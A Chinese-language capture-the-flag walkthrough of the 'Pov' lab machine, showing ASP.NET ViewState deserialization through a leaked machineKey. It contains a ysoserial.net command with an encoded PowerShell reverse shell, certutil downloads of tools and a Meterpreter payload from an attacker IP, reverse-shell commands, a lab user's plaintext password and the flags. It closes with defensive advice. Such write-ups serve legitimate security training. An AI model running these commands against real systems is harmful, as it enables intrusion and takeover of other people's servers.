[Meachines][Medium]Pov
字数 1109 2025-08-19 12:42:09

ASP.NET ViewState 反序列化漏洞利用教学文档

1. 漏洞概述

本教学文档详细分析了一个针对 ASP.NET Web Forms 应用程序中 __VIEWSTATE 参数的反序列化漏洞利用过程。攻击者通过获取服务器配置中的 machineKey,利用 ysoserial.net 工具生成恶意 ViewState,最终实现远程代码执行(RCE)并获取系统权限。

2. 初始信息收集

2.1 主机发现与端口扫描

nmap -p- -sC -sV 10.10.11.251 --min-rate 1000

2.2 添加主机到hosts文件

echo "10.10.11.251 dev.pov.htb pov.htb" >> /etc/hosts

3. 漏洞发现与利用

3.1 文件读取漏洞

通过Burp拦截请求,发现存在文件读取漏洞:

file=C:\\Windows\win.ini

3.2 关键配置文件获取

读取web.config文件获取服务器配置:

file=/web.config

获取到关键配置信息:

<configuration>
  <system.web>
    <customErrors mode="On" defaultRedirect="default.aspx" />
    <httpRuntime targetFramework="4.5" />
    <machineKey 
      decryption="AES" 
      decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" 
      validation="SHA1" 
      validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
  </system.web>
  <!-- 其他配置省略 -->
</configuration>

3.3 machineKey 安全风险分析

machineKey 元素定义了用于加密和验证 __VIEWSTATE 的密钥。攻击者获取这些密钥后可以:

  1. 伪造或篡改 __VIEWSTATE
  2. 执行命令注入
  3. 实现远程代码执行

4. 漏洞利用过程

4.1 准备 ysoserial.net 工具

wget https://github.com/pwntester/ysoserial.net/releases/download/v1.36/ysoserial-1dba9c4416ba6e79b6b262b758fa75e2ee9008e9.zip

4.2 生成恶意 ViewState

使用 ysoserial.exe 生成包含 PowerShell 反向 shell 的 ViewState:

ysoserial.exe -p ViewState -g TextFormattingRunProperties \
--decryptionalg="AES" \
--decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" \
--validationalg="SHA1" \
--validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" \
--path="/portfolio/default.aspx" \
-c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAzACIALAAxADAAMAAzADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"

4.3 替换 ViewState 并触发漏洞

使用 Burp Suite 拦截请求,将生成的恶意 payload 替换 __VIEWSTATE 字段。

5. 权限提升

5.1 获取用户凭据

C:\windows\system32\inetsrv 目录下发现 connection.xml 文件,包含用户 alaading 的加密凭据。

解密过程:

$EncryptedString = Get-Content .\pass.txt
$SecureString = ConvertTo-SecureString $EncryptedString
$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList "username",$SecureString
echo $Credential.GetNetworkCredential().password

获取明文密码:

username: alaading
password: f8gQ8fynP44ek1m3

5.2 使用 RunasCs 提权

下载并执行 RunasCs:

certutil.exe -urlcache -split -f "http://10.10.16.23/RunasCs.exe" ".\RunasCs.exe"
.\RunasCs.exe alaading f8gQ8fynP44ek1m3 powershell.exe -r 10.10.16.23:10034

5.3 获取用户 flag

type C:\Users\alaading\Desktop\user.txt
2087672b9f87f406e8a45c5dc16fe3f4

6. 获取系统权限

6.1 生成 Meterpreter payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.23 LPORT=10099 -f exe > exp.exe

6.2 设置监听

msfconsole -x 'use exploit/multi/handler;set PAYLOAD windows/meterpreter/reverse_tcp;set LHOST 10.10.16.23;set LPORT 10099;run'

6.3 靶机执行 payload

certutil.exe -urlcache -split -f "http://10.10.16.23/exp.exe" ".\exp.exe"
.\exp.exe

6.4 进程迁移提权

meterpreter > migrate 540  # 迁移到winlogon.exe进程

6.5 获取 root flag

type c:\users\administrator\desktop\root.txt
1069913b5adede5be3eaa21feecf660c

7. 防御措施

  1. 保护 machineKey:

    • 不要将 machineKey 明文存储在配置文件中
    • 定期轮换加密密钥
    • 使用自动生成的密钥而非硬编码密钥
  2. ViewState 安全配置:

    • 启用 ViewState MAC (Message Authentication Code)
    • 设置 ViewState 加密
    • 限制 ViewState 大小
  3. 其他安全措施:

    • 实施适当的输入验证
    • 使用最新的安全补丁更新 .NET 框架
    • 限制敏感信息的存储位置
    • 实施最小权限原则
ASP.NET ViewState 反序列化漏洞利用教学文档 1. 漏洞概述 本教学文档详细分析了一个针对 ASP.NET Web Forms 应用程序中 __VIEWSTATE 参数的反序列化漏洞利用过程。攻击者通过获取服务器配置中的 machineKey ,利用 ysoserial.net 工具生成恶意 ViewState,最终实现远程代码执行(RCE)并获取系统权限。 2. 初始信息收集 2.1 主机发现与端口扫描 2.2 添加主机到hosts文件 3. 漏洞发现与利用 3.1 文件读取漏洞 通过Burp拦截请求,发现存在文件读取漏洞: 3.2 关键配置文件获取 读取web.config文件获取服务器配置: 获取到关键配置信息: 3.3 machineKey 安全风险分析 machineKey 元素定义了用于加密和验证 __VIEWSTATE 的密钥。攻击者获取这些密钥后可以: 伪造或篡改 __VIEWSTATE 执行命令注入 实现远程代码执行 4. 漏洞利用过程 4.1 准备 ysoserial.net 工具 4.2 生成恶意 ViewState 使用 ysoserial.exe 生成包含 PowerShell 反向 shell 的 ViewState: 4.3 替换 ViewState 并触发漏洞 使用 Burp Suite 拦截请求,将生成的恶意 payload 替换 __VIEWSTATE 字段。 5. 权限提升 5.1 获取用户凭据 在 C:\windows\system32\inetsrv 目录下发现 connection.xml 文件,包含用户 alaading 的加密凭据。 解密过程: 获取明文密码: 5.2 使用 RunasCs 提权 下载并执行 RunasCs: 5.3 获取用户 flag 6. 获取系统权限 6.1 生成 Meterpreter payload 6.2 设置监听 6.3 靶机执行 payload 6.4 进程迁移提权 6.5 获取 root flag 7. 防御措施 保护 machineKey : 不要将 machineKey 明文存储在配置文件中 定期轮换加密密钥 使用自动生成的密钥而非硬编码密钥 ViewState 安全配置 : 启用 ViewState MAC (Message Authentication Code) 设置 ViewState 加密 限制 ViewState 大小 其他安全措施 : 实施适当的输入验证 使用最新的安全补丁更新 .NET 框架 限制敏感信息的存储位置 实施最小权限原则